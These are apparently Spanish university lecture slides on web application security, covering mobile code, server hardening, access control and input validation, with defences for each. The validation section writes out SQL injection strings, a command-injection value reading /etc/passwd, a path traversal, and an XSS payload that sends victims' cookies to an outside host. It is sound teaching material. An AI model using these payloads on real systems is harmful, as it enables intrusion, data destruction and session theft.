Seguridad en Las Aplicaciones Web

Seguridad en Sistemas Informticos e Internet
Seguridad en las Aplicaciones Web

LabIS2 http://www.lsi.us.es/~quivir
Dpto. Lenguajes y Sistemas Informticos Universidad de Sevilla
Contenido

Introduccin Seguridad en Seguridad en Seguridad en Seguridad en
el el la la
Cliente Servidor Aplicacin Comunicacin
Contenido
Introduccin
Seguridad Seguridad Seguridad Seguridad
Aplicaciones Web Cunta seguridad es necesaria? Amenazas ms importantes a las aplicaciones web Guas de seguridad
en en en en
el el la la
Contenido

Introduccin Seguridad en el Cliente
Seguridad en el Servidor Seguridad en la Aplicacin Seguridad en la Comunicacin

Cdigo mvil Lenguajes de Macro: VBA Lenguajes de Script: JavaScript y VBScript Applets Java Controles ActiveX
Contenido

Introduccin Seguridad en el Cliente Seguridad en el Servidor
Seguridad en la Aplicacin Seguridad en la Comunicacin
Servidor Web Servidor de Bases de Datos Lenguajes de servidor
Contenido

Introduccin Seguridad en el Cliente Seguridad en el Servidor Seguridad en la Aplicacin
Seguridad en la Comunicacin
Control de acceso Validacin de datos de entrada Programacin segura
Contenido


SSL
el el la la
Programacin
Teora Viernes 7 Introduccin Seguridad en el cliente Seguridad en el servidor Seguridad en la aplicacin: control de acceso Seguridad en la aplicacin: control de acceso Seguridad en la aplicacin: validacin de datos de entrada Seguridad en la aplicacin: programacin segura Seguridad en la comunicacin Prctica 1. Cdigo mvil
Jueves 20
2. Autentificacin bsica HTTP
Viernes 21
3. Control de acceso
Jueves 4
4. Validacin de datos
Viernes 5
5. SSL en Apache
Contenido

el el la la
Introduccin

Aplicaciones Web Cunta seguridad es necesaria? Amenazas ms importantes a las aplicaciones web Guas de seguridad
10
Introduccin
Aplicaciones Web
Aplicaciones cliente/servidor que utilizan el protocolo HTTP para interactuar con los usuarios u otros sistemas El cliente utilizado por los usuarios es habitualmente un navegador Los problemas de seguridad pueden provenir de los programas web en los que se apoyan, aunque en su mayor parte son consecuencia de fallos en la lgica y el diseo de la propia aplicacin
11
Introduccin
Cunta seguridad es necesaria?

La seguridad supone un coste econmico y de eficiencia. Hay que disponer de la adecuada, ni ms ni menos Para ello hay que tener en cuenta tres reglas: El riesgo cero no es prctico Hay diversas formas de mitigar el riesgo No se puede gastar un milln para proteger un cntimo
12
Introduccin
Amenazas ms importantes: Top 10

The Open Web Application Security Project (OWASP)
The Ten Most Critical Web Application Security Vulnerabilities

www.owasp.org/documentation/topten
13
Introduccin
Top Ten de amenazas

1. 2. 3. 4. 5. 6. 7. 8. 9. 10.
Entrada no validada Control de acceso roto Administracin de sesin y autentificacin rota Fallos de Cross Site Scripting (XSS) Desbordamiento del buffer Fallos de inyeccin Manejo inadecuado de errores Almacenamiento inseguro Negacin de servicio Administracin de configuracin insegura
14
Introduccin
Guas de seguridad
Es conveniente tener en cuenta unos principios de alto nivel al disear aplicaciones web: Validar la entrada y la salida Fallar con seguridad Mantener un esquema de seguridad simple Utilizar componentes de confianza La seguridad a travs de la oscuridad no funciona Mantener los privilegios al mnimo y separados
15
Contenido
el el la la
16
Seguridad en el Cliente

Cdigo mvil Lenguajes de Macro: VBA JavaScript VBScript Applets Java Controles ActiveX
17
Cdigo mvil
Cdigo que circula por la red y se ejecuta en una mquina remota Aparece incrustado en un documento HTML. Un cliente de correo o un navegador que carguen el documento lo ejecutarn en la mquina cliente Potencia la funcionalidad de los documentos HTML pero entraa riesgos de seguridad. Un cdigo mvil puede obtener informacin acerca de un sistema o un usuario y enviarla a una mquina remota
18
Cdigo mvil
Puede estar incrustado directamente en el documento, caso de los lenguajes de script como JavaScript y VBScript Tambin puede residir en un servidor y ser invocado mediante una referencia en el documento, caso de las applets de Java o los controles ActiveX El cdigo ActiveX suele permanecer en el sistema una vez que se instala, mientras que las applets de Java se ejecutan una sla vez y no se almacenan en la mquina del usuario
19
Cdigo mvil
Hay cuatro tipos bsicos de cdigo mvil: Lenguajes de macro como Visual Basic for Applications (VBA) Scripts como JavaScript y VBScript Applets de Java Controles ActiveX Un mtodo de proteccin comn es tener siempre actualizado el software
20
Lenguajes de Macro: VBA

Es un lenguaje de macro propio de Microsoft Office, aunque otras aplicaciones lo han adoptado Permite el acceso a todas las funciones de la aplicacin, incluyendo el acceso a disco La macro est incrustada en el documento
21

Las versiones previas a Office 97 ejecutaban las macros al abrir los documentos sin pedir autorizacin al usuario. Una macro poda contener un virus y causar grandes perjuicios Al ejecutarse podra copiarse en la plantilla normal, con lo que aparecera en cualquier documento creado con la aplicacin y se expandira al compartirse los documentos Ejemplo: Melissa (1999), creado con VBA en un documento Word. Se reenviaba a los primeros 50 contactos de Outlook
22

Para protegerse de los virus de macro hay que tener mucha precaucin al permitir la ejecucin de macros en un documento. Slo debe hacerse cuando la fuente de procedencia del documento sea fiable
23
JavaScript
Fue diseado para aadir interactividad a una pgina web Un cdigo JavaScript tiene acceso nicamente a la informacin contenida en la pgina en la que est incrustado Es bastante seguro. Algunos problemas del pasado han estado relacionados con implementaciones de JavaScript por parte de Microsoft y Netscape. La madurez de la tecnologa ha permitido solucionarlos
24
JavaScript
El nico problema serio est relacionado con los servicios de correo Web Si se recibe un correo con un cdigo malicioso, al visualizarlo podra hacer cosas como leer los mensajes del usuario, enviar mensajes en su nombre, leer una cookie o abrir una falsa ventana de identificacin para pedir al usuario la confirmacin de su password. Podra usar marcos para continuar ejecutndose mientras visualizamos otros mensajes o realizamos otras tareas Apareci por primera vez en Hotmail y provoc que los servicios de correo web decidieran neutralizar el cdigo JavaScript de los mensajes recibidos
Seguridad en Sistemas Informticos e Internet 25
JavaScript
Otra fuente de problemas es la posibilidad que ofrece de comunicarse con los plug-ins del navegador (p. Ej. Shockwave player). Si el plug-in tiene acceso a disco, JavaScript tambin lo tiene La mejor proteccin es tener el software actualizado. Si se utiliza un servicio de correo web hay que verificar que tiene activados filtros contra el cdigo JavaScript. Tambin se puede deshabilitar JavaScript o pedir confirmacin cuando se intente ejecutar cdigo JavaScript, aunque puede resultar muy pesado Netscape permite deshabilitar JavaScript de forma independiente para navegador y lector de correo
VBScript
Slo funciona con Internet Explorer y Outlook, por lo que no es tan popular como JavaScript Ofrece una funcionalidad similar pero con una notable excepcin: puede interactuar con los controles ActiveX instalados en la mquina sta es la principal fuente de problemas, ya que carece de operaciones potencialmente peligrosas Los controles ActiveX pueden ser marcados como safe o unsafe for scripting de forma que se impida a los scripts acceder a ellos
27
Applets Java
Normalmente no pueden leer ni escribir datos en el disco local ni comunicarse con otro recurso de la red salvo el servidor del que procede, lo cual garantiza que no tendrn comportamiento malicioso Excepcin: pueden crear hilos que se ejecutan en segundo plano. Estos hilos pueden seguir en ejecucin aunque se cierre el navegador y pueden tener un efecto poco pernicioso, como reproducir msica de fondo. La nica forma de pararlos es cerrar todas las ventanas del navegador Efecto ms negativo: el applet crea hilos que consumen mucha memoria y/o CPU haciendo ms lento el sistema y llegando incluso a colapsarlo
Controles ActiveX
Son la respuesta de Microsoft a las applets de Java Slo funcionan bsicamente con Internet Explorer y Outlook La seguridad de los controles ActiveX se basa en los certificados digitales. Los controles estn firmados digitalmente para garantizar su autenticidad Al cargar el control IE presenta el certificado digital y pide autorizacin para instalarlo. Pueden existir controles sin firma, aunque sern directamente rechazados por IE si est configurado correctamente
30
Controles ActiveX
El problema se da cuando un control est mal construido, proporcionando agujeros de seguridad a los atacantes Un problema habitual en algunos controles es el buffer overrun, padecido por ejemplo por el control de Adobe Acrobat Reader 4.0 y que permite la ejecucin de cdigo arbitrario en la mquina del usuario Cuando se construye un control ActiveX que puede realizar tareas potencialmente peligrosas (como leer o escribir en disco) hay que tener la precaucin de marcarlo como unsafe for scripting para que no pueda ser llamado desde VBScript
Prctica 1: Cdigo mvil

Creacin de un formulario Validacin de datos con JavaScript Formas de saltarse la validacin JavaScript
32
Contenido
el el la la
33
Seguridad en el Servidor
Servidor Web Servidor de Bases de Datos Lenguajes de servidor
34
El desarrollo de una aplicacin web requiere de una serie de herramientas: servidores web, servidores de aplicaciones, servidores de bases de datos, lenguajes de servidor, etc. Estas herramientas pueden plantear problemas que comprometan a la aplicacin: Vulnerabilidades debidas al uso de versiones no actualizadas Configuraciones por defecto inadecuadas Activacin de cuentas por defecto Las herramientas deben estar actualizadas y bien configuradas para impedir ataques a la aplicacin
Servidor Web
Proporciona muchos servicios y es muy probable que algunos de ellos no sean necesarios para el funcionamiento de la aplicacin web En tal caso es conveniente deshabilitarlos Para ello el servidor dispone de mltiples opciones de configuracin que es conveniente adaptar a las circunstancias concretas de la aplicacin web
36
Servidor Web
Precauciones a tener en cuenta: Establecer permisos adecuados para los ficheros del servidor y los documentos. Es conveniente definir un usuario y grupo especiales (web, www) Listado automtico de directorios. Puede ser conveniente pero proporciona informacin sensible Seguimiento de enlaces simblicos. Peligroso si se enlazan ficheros externos al rbol de documentos
37
Servidor Web
Precauciones a tener en cuenta (cont): Ejecucin de CGI. Slo debe permitirse a usuarios de confianza y restringirlo a un directorio especial Server side includes (SSI). Es una fuente de peligro y puede tener que ser restringido a usuarios de confianza o deshabilitado (en particular la opcin exec). Ejemplo:
... cdigo HTML  ... cdigo HTML
38
Servidor Web
Ejercicio: Configuracin de Apache
39
Servidor Web
Es muy conveniente revisar peridicamente los ficheros de log (access_log y error_log en Apache) para detectar posibles ataques al servidor
40
Servidor Web
Ejercicio: Ficheros de log en Apache
41
Servidor de Bases de Datos

Proporciona acceso a bases de datos, fundamental en toda aplicacin web importante. Riesgos: Descubrimiento de informacin acerca de los datos de conexin al servidor (usuario y clave), informacin sensible almacenada en la base de datos (tarjetas de crdito) o informacin sobre la estructura de la base de datos Modificacin de las instrucciones SQL enviadas al servidor, construidas de forma dinmica a partir de datos recibidos del usuario y por tanto potencialmente peligrosos (Inyeccin SQL) Acceso no autorizado a informacin restringida

Hay que vigilar la configuracin por defecto del servidor, que puede incluir bases de datos y usuarios predefinidos que conviene eliminar Algunas recomendaciones: No ejecutar el servidor como root No dar a ningn usuario salvo al root permiso de acceso a la tabla de usuarios Asegurarse de que el root tiene un password Restringir el acceso remoto al servidor No dar a un usuario ms permisos que los estrictamente necesarios Almacenar los datos sensibles de forma encriptada

En el cdigo de la aplicacin hay que tener, entre otras, las siguientes precauciones: Validar las instrucciones SQL antes de enviarlas al servidor No revelar informacin sobre la base de datos en los mensajes de error (esquema, naturaleza de los datos almacenados, fragmentos SQL) Proteger el cdigo donde aparezca informacin sensible para el acceso al servidor
44

Ejercicio: Configuracin de MySQL
45
Lenguajes de servidor
ASP, JSP, PHP Aumentan enormemente la potencia de los documentos HTML al permitir la comunicacin con aplicaciones residentes en el servidor, y muy especialmente con servidores de bases de datos Esta potencialidad conlleva riesgos. Hay que revisar a fondo la configuracin para eliminar funcionalidades no utilizadas y seguir prcticas adecuadas de programacin, sobre todo en funciones con vulnerabilidades conocidas
46
Hay que proteger el cdigo fuente para evitar que pueda ser visualizado, especialmente cuando contiene informacin sensible como pueden ser los datos de conexin al servidor de bases de datos Una medida razonable consiste en sacar el cdigo fuente sensible fuera de la raz de la web
47
Ejercicio: Errores en cdigo PHP
48
Contenido

el el la la
49
Seguridad en la Aplicacin
Control de acceso Validacin de datos de entrada Programacin segura
50
Control de acceso
Un aspecto muy importante de una aplicacin web es el control de acceso de los usuarios a zonas restringidas de la aplicacin Aqu intervienen dos conceptos: Autentificacin Autorizacin
51
Autentificacin
Es el proceso de determinar si un usuario es quien dice ser Esto se puede hacer de varias maneras. Algunas de ellas son: Autentificacin HTTP bsica Autentificacin basada en la aplicacin
52
Autentificacin HTTP bsica

Cuando se requiere una URI protegida, el servidor web devuelve un cdigo HTTP/1.1 401 Authorization required, indicando al cliente que muestre una ventana de dilogo con un nombre de usuario y una contrasea Cuando se pulsa el botn de envo estos datos llegan al servidor que comprueba si son correctos y en caso afirmativo sirve el recurso solicitado
53
54

Ventajas: Es muy simple de implementar Se pueden fijar restricciones de acceso por usuario y contrasea o por otros conceptos como por ejemplo el dominio o direccin IP de la mquina Inconvenientes: Los datos viajan por la red sin encriptar No se puede hacer logout, la nica forma es cerrar el navegador No hay control sobre el diseo de la ventana de dilogo
55

Ejercicio: proteccin de un directorio del servidor
56
Prctica 2: Autentificacin HTTP bsica

Creacin de una pgina web Creacin de un usuario Creacin de un fichero .htaccess Configuracin del servidor web Apache
57
Autentificacin basada en la aplicacin

La propia aplicacin puede implementar un mecanismo de autentificacin que implica la presentacin de un formulario para que el usuario introduzca sus credenciales y el uso de una base de datos para verificar la correccin de stas Es ms costosa pero ms flexible ya que permite establecer diferentes permisos y niveles de acceso en funcin del usuario que solicita la autentificacin
58
59
Passwords
Siempre que se utilizan passwords para autentificar usuarios hay que seguir unas recomendaciones: Restringir los valores para los nombres de usuarios. Los que representan nombres reales suponen dar pistas a los atacantes Almacenar los passwords de forma segura, protegiendo el acceso a la base de datos Seguir reglas de seguridad para su eleccin Bloquear una cuenta cuando se detecta un nmero determinado de intentos de acceso incorrectos Actualizar los passwords peridicamente y mantener un histrico para evitar repeticiones
Passwords
Cualquier sistema que requiera autentificacin debe tener una poltica de recuperacin de passwords en caso de olvido del usuario Esto se puede hacer de dos formas: Automticamente A travs de tcnicos de soporte
61
Passwords
En el caso automtico hay varias estrategias: Plantear durante el registro del usuario varias preguntas a las que slo l puede responder Enviar el password por correo electrnico. Es recomendable que tenga fecha de expiracin y se pida su cambio cuando el usuario se conecte Comunicar el password por telfono al usuario a requerimiento del mismo Deben registrarse todos los intentos de recuperacin y fijar un lmite de tiempo pasado el cual sera preciso recurrir al tcnico
62
63
Passwords
En el caso del tcnico hay que prever el servicio a personas de diferentes pases con lenguas diferentes La intervencin humana da mayor seguridad, pero es ms costosa y ms molesta para el usuario Una alternativa a la presencia fsica puede ser el uso del fax para enviar la documentacin que certifique la identidad del usuario
64
Sesiones
Una vez que el usuario se ha autentificado introduciendo su nombre de usuario y su clave, es preciso mantener esta autentificacin en cada conexin subsiguiente Para evitar tener que mostrar nuevamente la ventana de autentificacin se recurre habitualmente al uso de sesiones, un mecanismo que permite mantener el estado entre diferentes peticiones HTTP
65
Sesiones
El mecanismo es el siguiente: Una vez autentificado, al usuario se le asigna un identificador de sesin Este identificador acompaar invisiblemente a cada peticin del usuario, con lo cual se garantizar que la peticin proviene de un usuario previamente autentificado El identificador de sesin se suele almacenar en la propia mquina del cliente, mediante una cookie Slo se debe almacenar el identificador de la sesin; cualquier otro dato del usuario se almacenar en el servidor
Sesiones
La gestin de las sesiones es responsabilidad del programador. Normalmente los lenguajes de servidor disponen de funciones diseadas especficamente para ello En PHP se dispone de las siguientes funciones: session_start session_register session_is_registered session_unregister session_destroy
67
Sesiones
Un buen sistema de gestin de sesiones debe: Establecer un tiempo lmite de vida para la sesin Regenerar el identificador de sesin cada cierto tiempo Detectar intentos de ataque de fuerza bruta con identificadores de sesin Requerir una nueva autentificacin del usuario cuando vaya a realizar una operacin importante Proteger los identificadores de sesin durante su transmisin Destruir la cookie al finalizar la sesin para evitar el acceso de otro usuario en un entorno pblico
Sesiones
Ejercicio: sesiones en PHP
69
Autorizacin
Es el acto de comprobar si un usuario tiene el permiso adecuado para acceder a un cierto fichero o realizar una determinada accin, una vez que ha sido autentificado
70
Autorizacin
Disear el mecanismo de control de acceso exige: Determinar la informacin que ser accesible por cada usuario Determinar el nivel de acceso de cada usuario a la informacin Especificar un mecanismo para otorgar y revocar permisos a los usuarios Proporcionar funciones a los usuarios autorizados: identificacin, desconexin, peticin de ayuda, consulta y modificacin de informacin personal, cambio de password, etc. Ajustar los niveles de acceso a la informacin a la poltica de seguridad de la organizacin
Autorizacin
Modelos para el control de acceso: Control de Acceso Discrecional: se basa en la identidad de los usuarios o su pertenencia a ciertos grupos. El propietario de una informacin puede cambiar sus permisos a su discrecin Control de Acceso Obligatorio: cada pieza de informacin tiene un nivel de seguridad y cada usuario un nivel de acceso, lo cual permite determinar los permisos de acceso de cada usuario a cada pieza de informacin Control de Acceso Basado en Roles: cada usuario tiene un rol dentro de la organizacin y en funcin de l unos permisos de acceso
Autorizacin
Para la implementacin del mecanismo de control de acceso en la aplicacin suele recurrirse al uso de bases de datos
73
Prctica 3: Control de acceso

Disear un mecanismo de control de acceso Definir usuarios Especificar nivel de acceso de los usuarios
74
Validacin de datos de entrada

El problema ms frecuente que presentan las aplicaciones web es no validar correctamente los datos de entrada Esto da lugar a algunas de las vulnerabilidades ms importantes de las aplicaciones, como la Inyeccin SQL, el Cross-Site Scripting y el Buffer Overflow Veamos los siguientes aspectos: Fuentes de entrada Inyeccin Estrategias de proteccin Vulnerabilidades especficas
Fuentes de entrada
Los datos de entrada pueden provenir de cuatro fuentes diferentes: Cadenas URL Cookies Cabeceras HTTP Campos de formularios
76
Fuentes de entrada cadenas URL

Cuando se enva un formulario con el mtodo GET, los nombres y valores de todos los elementos del formulario aparecen detrs de la URL de la pgina invocada:
http://www.victim.com/example?accountnumber=12345
Es muy fcil modificar esta cadena:

http://www.victim.com/example?accountnumber=67891
77
Fuentes de entrada cadenas URL

La aplicacin debe chequear el valor recibido aunque proceda de una lista desplegable con unos valores predefinidos, ya que el usuario ha podido modificar manualmente la URL Este problema se da tambin en los hipervnculos que incluyen parmetros Siempre que se enven datos sensibles hay que acompaarlos de un identificador de sesin y comprobar que el usuario asociado a la sesin tiene acceso a la informacin requerida
78
Fuentes de entrada - cookies

Es un mtodo habitual de mantener el estado o almacenar preferencias del usuario. Pueden ser modificadas por el cliente para engaar al servidor. El peligro depender de lo que se almacene en la cookie. Por ejemplo, la cookie
Cookie: lang=en-us; ADMIN=no; y=1; time=10:30GMT;
puede ser modificada fcilmente por:

Cookie: lang=en-us; ADMIN=yes; y=1; time=12:30GMT;
Lo mejor es almacenar en la cookie nicamente el identificador de sesin, manteniendo la informacin relevante en el servidor
Fuentes de entrada - cabeceras

Las cabeceras HTTP contienen informacin de control enviadas entre el cliente y el servidor. Por ejemplo,
Host: www.someplace.org Pragma: no-cache Cache-Control: no-cache User-Agent: Lynx/2.8.4dev.9 libwww-FM/2.14 Referer: http://www.someplace.org/login.php Content-type: application/x-www-form-urlencoded Content-length: 49
80
Fuentes de entrada - cabeceras

Si la aplicacin web utiliza las cabeceras recibidas del cliente, hay que tener en cuenta que stas pueden haber sido manipuladas, por lo que deben ser verificadas Por ejemplo, sea la siguiente cabecera:
Accept-Language: es
Si el contenido de la cabecera se utiliza directamente en una consulta a la base de datos, podra utilizarse para inyectar rdenes SQL modificando la cabecera
81
Fuentes de entrada - formularios

Los formularios pueden ser modificados para enviar lo que el usuario desee. Basta con guardar la pgina, modificar el cdigo y recargarlo en el navegador. Las limitaciones impuestas en el propio formulario se pueden saltar perfectamente. Ejemplo:
<input type=text name="titulo" maxlength="100">
Este elemento podra modificarse as:

<input type=text name="titulo" maxlength="100000">
con el consiguiente riesgo para la aplicacin si el valor no se chequea adecuadamente
82

Los campos ocultos (HIDDEN) tambin son vulnerables a este ataque, por lo que no deben utilizarse para almacenar informacin sensible Es mucho ms seguro utilizar sesiones y almacenar la informacin sensible en el servidor Ejemplos de campos ocultos vulnerables:
<input name="masteraccess" type="hidden" value="N"> <input name="price" type="hidden" value="199.99">
83

Ejercicio: validacin de datos de formularios con la herramienta WebGoat Descarga e instalacin de WebGoat Ejercicio: hidden field tampering Ejercicio: unchecked email Ejercicio: JavaScript validation
84
Inyeccin
Consiste en inyectar en la aplicacin datos introducidos por el usuario. Esto es muy habitual y de por s no es peligroso
85
Inyeccin de datos
Ejemplo: sea la siguiente instruccin:
sql= "SELECT * FROM noticias WHERE id = $id";
Pulsando en el artculo de inters para el usuario se convierte en:

sql= "SELECT * FROM noticias WHERE id = 228";
Otro ejemplo:
print "<H2>Bienvenido/a, $username.</H2>";
Una vez identificado el usuario se convierte en:

print "<H2>Bienvenido/a, Antonio.</H2>";
86
Conectores y payload
Idea: suministrar datos que al ser inyectados en la aplicacin causen un efecto particular El ataque est completamente contenido en los datos suministrados por el atacante, que se pueden dividir en tres partes: Conector de prefijo Payload Conector de sufijo El ataque est contenido en el payload y los conectores lo encajan en la aplicacin Para elegirlos es preciso un amplio conocimiento del lenguaje, las herramientas y las tcnicas utilizadas en la aplicacin
Ejemplo: consulta SQL para una interfaz de identificacin de usuario
sql = "SELECT * FROM tablausuarios WHERE login = '$userLogin' AND password = '$userPassword';
Si inyectamos un ataque en el campo userLogin con los siguientes componentes:

prefijo
OR
payload
1=1
sufijo
OR login=
88
obtendremos la consulta SQL:
SELECT * FROM tablausuarios WHERE login = '' OR 1=1 OR login ='' AND password = ''
que nos devolver todos los usuarios de la tabla
89
Con un mayor conocimiento podemos modificar el ataque para reducir el nmero de caracteres empleados, que podra estar limitado. Por ejemplo, el ataque
prefijo OR
payload
1=1
sufijo
producira la consulta SQL:

SELECT * FROM tablausuarios WHERE login = '' OR '1'='1' AND password = ''
90
La eleccin de los conectores puede verse facilitada por factores como acceso al cdigo fuente o mensajes de error detallados Ms importante que esto es el hecho de utilizar tcnicas de programacin conocidas en el desarrollo de las aplicaciones
91
Estrategias de proteccin
Existen tres modelos posibles a la hora de disear una estrategia de validacin de datos: Aceptar nicamente datos vlidos conocidos Rechazar datos no vlidos conocidos Sanear todos los datos
92
Aceptar nicamente datos vlidos conocidos. Es la estrategia ms adecuada. Slo deben aceptarse aquellos datos que se adaptan a lo esperado. Por ejemplo, si un password debe contener letras de la A a la Z y dgitos del 0 al 9, debe verificarse que la entrada es una cadena, que slo contiene esos caracteres y que tiene una longitud vlida
93
Aceptar nicamente datos vlidos conocidos. En general hay que chequear lo siguiente:

Tipo de dato Longitud mxima y mnima Datos obligatorios Si hay una lista enumerada de posibles valores, comprobar que est en ella Si hay un formato o plantilla especfico, comprobar que lo cumple Si es texto libre, que slo contiene caracteres vlidos Si se permiten caracteres peligrosos, sanearlos
Deben considerarse los valores por separado pero tambin teniendo en cuenta que pueden unirse para formar, por ejemplo, una consulta SQL
Rechazar datos no vlidos conocidos. Implica conocer todos los posibles datos peligrosos, lo cual es muy difcil Sanear todos los datos. Consiste en transformar los datos en una representacin que no presente riesgos. Por ejemplo, transformar (una comilla simple) en (dos comillas simples) o < en <. Es buena como complemento a la primera estrategia aunque no tanto para utilizarse sla porque es difcil sanear todos los datos
95
Nunca debe confiarse en la validacin de datos en el cliente ya que puede puentearse con facilidad. Toda la validacin de datos debe realizarse en el servidor Conceptos errneos sobre la validacin en el cliente:

El atributo MAXLENGTH limitar los caracteres que el usuario puede introducir El atributo READONLY evitar que el usuario pueda modificar un valor Los campos de tipo HIDDEN no se pueden modificar Las cookies no se pueden modificar Las listas desplegables o botones de radio limitan los valores de entrada Todos los campos del formulario sern enviados Slo los campos del formulario sern enviados
Prctica 4: Validacin de datos

Validacin de datos en el servidor Creacin de un formulario en PHP con validacin de los datos de entrada Uso de expresiones regulares para validar los datos de entrada
97
Vulnerabilidades especficas
Las vulnerabilidades comunes ms peligrosas que resultan de una falta de proteccin adecuada ante los datos de entrada son: Inyeccin SQL Inyeccin de rdenes del SO Inyeccin HTML (Cross-site Scripting o XSS) Path Traversal Buffer Overflow
98
Inyeccin SQL
Consiste en inyectar un mandato dentro de una consulta SQL. Sea la consulta:
$consulta = SELECT titulo FROM libros WHERE codigo = $codigo;
siendo $codigo un valor introducido desde un formulario. Si el valor es 23 la consulta ser:

SELECT titulo FROM libros WHERE codigo = 23
Si el valor es
23; DROP TABLE users
la consulta es:
SELECT titulo FROM libros WHERE codigo = 23; DROP TABLE users
que destruira la tabla de usuarios de MySQL

Inyeccin SQL
Sea ahora el siguiente cdigo muy habitual en una aplicacin Web:
$consulta = SELECT id FROM usuarios WHERE username = $username AND password = $password;
Si se introducen los valores juan como username y jj.ssii como password, la consulta queda:
SELECT id FROM usuarios WHERE username = juan AND password = jj.ssii
100
Inyeccin SQL
Se puede saltar la comprobacin del password introduciendo el valor juan-- como username o el valor OR = como password. Las consultas que quedaran en ambos casos son, respectivamente:
SELECT id FROM usuarios WHERE username = juan-- AND password =
SELECT id FROM usuarios WHERE username = juan AND password = OR =
En el primer caso ntese que -- es un comentario de lnea en MySQL y provoca que se ignore todo lo que viene tras l en la lnea
101
Inyeccin SQL
La inyeccin SQL puede utilizarse para: Cambiar valores de las consultas Concatenar varias consultas Aadir llamadas a funcin y procedimientos almacenados a una consulta Para evitar la inyeccin SQL es muy importante validar los valores que se han de integrar en la consulta SQL. En el primer caso, por ejemplo, $codigo debe ser un valor entero
102
Inyeccin SQL
Ejercicio: inyeccin de una orden SQL desde un formulario
103
Inyeccin de rdenes del SO

Casi todos los lenguajes de programacin disponen de funciones que permiten la ejecucin de rdenes del Sistema Operativo En PHP, por ejemplo, se tienen las funciones exec() y system(). Estas funciones son tiles para tareas como el manejo de ficheros o el envo de correo, pero plantean serios riesgos ya que se pueden manipular para: Alterar las rdenes ejecutadas Alterar los parmetros pasados a las rdenes del sistema Ejecutar rdenes adicionales

Sea, por ejemplo, el siguiente cdigo PHP:
system (ls $directorio);
Si el valor de la variable $directorio fuese /tmp; cat /etc/passwd, se mostrara el fichero de passwords del sistema ya que se ejecutara la orden
ls /tmp; cat /etc/passwd
105

Una solucin a este problema es utilizar la funcin escapeshellarg(), que coloca unas comillas englobando al parmetro y elimina las que pudiera haber dentro del mismo:
system (ls . escapeshellarg($directorio));
De esta manera, la orden que se ejecutara ahora sera

ls /tmp; cat /etc/passwd
106

La mejor proteccin contra este ataque es limitar toda informacin pasada a las rdenes del sistema nicamente a valores conocidos Si estos valores no pueden ser enumerados, la alternativa es limitar el tamao al mnimo valor posible y sanear los caracteres que pudieran utilizarse para ejecutar otras rdenes Tambin, y en la medida de lo posible, deben utilizarse las funciones de biblioteca en lugar de invocar rdenes del SO
107

Ejercicio: inyeccin de una orden del sistema operativo desde un formulario
108
Inyeccin HTML (Cross-site Scripting)

Consiste en insertar en un texto (p.ej. un mensaje de un foro) cdigo malicioso (p.ej. JavaScript). Cuando otro usuario visualice el texto el cdigo se ejecutar en su mquina. Por ejemplo, si se inserta el texto:
Una galleta?<script>alert(document.cookie)</script>
cuando un usuario lo visualice aparecer su cookie en una ventana. Esto no es grave ya que cada usuario visualiza su propia cookie, pero si se modifica as:
<script>document.write('<img src= "http: //targetsite.com/'+document.cookie+'")</script>
dejar la cookie del usuario en el log del servidor del atacante, que podra hacerse con la sesin

Hay varios tipos de cosas que se pueden insertar en el cdigo HTML de esta manera: Marcas HTML, como <SCRIPT>, <A>, <IMG> o <IFRAME>. El efecto se produce cuando el texto se visualiza en el navegador de otro usuario Eventos, como ONCLICK, asociados habitualmente a elementos de formulario
110

Para evitar este ataque es conveniente filtrar todos los caracteres que tienen un significado especial en HTML como , &, < y >. Los lenguajes disponen de funciones especficas para ello. En PHP existe la funcin htmlspecialchars()
111

Ejemplo: el siguiente cdigo muestra el campo mensaje de un registro recuperado de una tabla
print <TD>; print $fila[mensaje]; print </TD>;
Si el mensaje contiene caracteres HTML puede ser peligroso. Para solucionarlo se modifica el cdigo:
print <TD>; print htmlspecialchars($fila[mensaje]); print </TD>;
112

Esta solucin no siempre es vlida. En el cdigo
//llamada: pag.php?imagen=javascript:alert(document.cookie); print <IMG SRC=. htmlspecialchars($_GET[imagen]) .>; // resultado: <IMG SRC=javascript:alert(document.cookie);>
la funcin htmlspecialchars() no evita que se ejecute el cdigo malicioso. La nica solucin es aceptar siempre datos garantizados como buenos. En este caso, slo se debe aceptar un parmetro que corresponda a un nombre de fichero vlido:
if (preg_match('/^[0-9a-z_]+\.[a-z]+$/i', $_GET[imagen])) print <IMG SRC= . $_GET[imagen] . >;
113

Ejercicio: almacenamiento de un script en el servidor y posterior visualizacin del mismo
114
Path Traversal
Una aplicacin es vulnerable a este tipo de ataques cuando el atacante puede construir peticiones que le permiten acceder a ficheros localizados fuera de la raz de la Web, como por ejemplo /etc/passwd Para ello utiliza caracteres como ../ en los parmetros que representan nombres de fichero. Si el atacante accede a directorios del sistema, podra llegar incluso a ejecutar mandatos del sistema
115
Path Traversal
Sea por ejemplo el siguiente cdigo PHP:
include (/lib/ . $cabecera);
Si la variable $cabecera toma el valor ../etc/passwd, se mostrara el fichero de passwords del sistema
116
Path Traversal
Para evitar estos ataques hay que utilizar las funciones de normalizacin de rutas que suelen tener los lenguajes En PHP para chequear nombres de ficheros se utilizan las funciones realpath() y basename(). La primera convierte direcciones relativas en absolutas y la segunda toma una ruta y devuelve la parte correspondiente al nombre del fichero. En el ejemplo anterior tendramos:
$cabecera2 = basename (realpath($cabecera)); if ($cabecera2 == $cabecera) include (/lib/ . $cabecera);
117
Path Traversal
Otra defensa contra los nombres de ficheros incorrectos en PHP es la directiva de configuracin open_basedir:
open_basedir = /alguna/ruta
// en php.ini
PHP limitar las operaciones sobre ficheros al directorio especificado y sus subdirectorios. As, por ejemplo,
include (/alguna/ruta/lib.php); // permitido include (/otra/ruta/lib.php); // da un error // de ejecucin
118
Path Traversal
Ejercicio: acceso a ficheros del sistema
119
Buffer Overflow
Este ataque consiste en corromper la pila de ejecucin de una aplicacin enviando unos datos de entrada especialmente preparados con tal fin El objetivo es conseguir la ejecucin de un cdigo enviado por el atacante y tomar el control de la mquina Estas vulnerabilidades no son fciles de detectar y, de hacerse, son muy difciles de explotar
120
Buffer Overflow
Las vulnerabilidades pueden estar presentes en las herramientas (como el servidor web) o bibliotecas externas, siendo en tal caso conocidas pblicamente y por tanto ms peligrosas. La nica proteccin contra ellas consiste en tener actualizadas todas las herramientas Tambin pueden encontrarse en la aplicacin, siendo ms difciles de explotar porque habr menos atacantes. Adems, en caso de descubrirlas no ser fcil aprovecharlas ya que desconocen el cdigo fuente de la aplicacin. La proteccin pasa por comprobar todo el cdigo que acepta datos de entrada para asegurar que chequea su tamao
Programacin segura
